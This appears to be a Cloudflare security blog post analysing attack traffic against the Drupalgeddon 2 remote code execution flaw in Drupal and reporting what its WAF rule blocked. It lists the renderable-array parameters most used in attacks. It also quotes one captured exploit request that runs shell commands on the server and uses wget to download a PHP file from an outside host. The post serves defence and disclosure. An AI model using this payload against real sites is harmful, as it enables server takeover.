Cloudflare’s team of security analysts monitor for upcoming threats and vulnerabilities and where possible put protection in place for upcoming threats before they compromise our customers. This post examines how we protected people against a new major vulnerability in the Drupal CMS, nicknamed Drupalgeddon 2.
Two weeks after adding protection with WAF rule ID D0003 which mitigates the critical remote code execution Drupal exploit (SA-CORE-2018-002/CVE-2018-7600), we have seen significant spikes of attack attempts. Since the 13th of April the Drupal security team has been aware of automated attack attempts and it significantly increased the security risk score of the vulnerability. It makes sense to go back and analyse what happened in the last seven days in Cloudflare’s WAF environment.
What is Drupalgeddon 2
The vulnerability potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could make a site completely compromised.
Drupal introduced renderable arrays, which are a key-value structure, with keys starting with a ‘#’ symbol, that allows you to alter data during form rendering. These arrays however, did not have enough input validation. This means that an attacker could inject a custom renderable array on one of these keys in the form structure.
The WAF to the rescue
Cloudflare implemented a WAF rule that would identify malicious requests and block them. We block malicious payloads in GET requests, POST requests and Cookies, which matches the patch made to drupal itself.
Just during last week, after removing false positives, the rule has blocked more than 500,000 potential attacks, especially at the start of the sample date, when the vulnerability was more recent.
Apart from that, we are seeing more than 250 unique IPs per day, mostly IPv4 but also some IPv6 addresses.
Our analysis shows that most of the attempts are built with a POST request, trying to exploit the ‘mail’ field, with the following being the most used ones:
MAIL[#POST_RENDER]
MAIL[#MARKUP]
NAME[#POST_RENDER]We also found some interesting attack attempts, in which the attacker tried to inject a renderable array on the name field that would copy and download a specific file with access details into a site belonging to the attacker on a most probably compromised domain.
/q=user/password&name[#post_render[]=system&name[#type]=markup&name[#markup]= chmod 0644 ./sites/default/files/.htaccess;cp/dev/null./sites/default
/files/.htaccess;mkdir./sites/default/files/temp/;wget -P ./sites/default/
files/temp/http://[REDACTED]/blog/wpcontent/uploads/2017/01/example.sites.php;echo"@!!%@"The number of blocked requests does not seem to be going down and we keep blocking more than 56,000 potential attacks per day.